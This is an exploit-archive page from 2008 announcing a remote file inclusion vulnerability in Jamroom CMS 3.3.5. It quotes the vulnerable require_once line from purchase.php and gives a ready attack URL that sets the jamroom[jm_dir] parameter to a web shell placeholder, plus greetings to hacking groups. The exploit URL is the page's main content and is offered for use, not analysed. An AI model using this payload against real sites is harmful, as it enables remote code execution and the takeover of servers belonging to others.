[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : Jamroom 3.3.5 Remote File Inclusion Vulnerabilities
# Published : 2008-06-20
# Author : Cyberlog
# Previous Title : CiBlog 3.1 (links-extern.php id) Remote SQL Injection Vulnerability
# Next Title : JaxUltraBB <= 2.0 (LFI/XSS) Multiple Remote Vulnerabilities
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts : CMS Jamroom Version: 3.3.5
Discovered By : Cyberlog
Scripts site : http://www.jamroom.net/
Download Script : http://www.jamroom.net/index.php?m=td_download&o=download&file_id=43
Thanks To : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree
Special To : k1n9k0ng, adhietslank, sukam, cah_gemblunkz, the_sims, aRiee
letjen, k1tk4t, inouf and jayoes
Site : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
bug Script:
require_once("{$jamroom['jm_dir']}/include/jamroom-payment.inc.php");
Bug Found:
http://www.site.com/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=[shell]
# www.Syue.com [2008-06-20]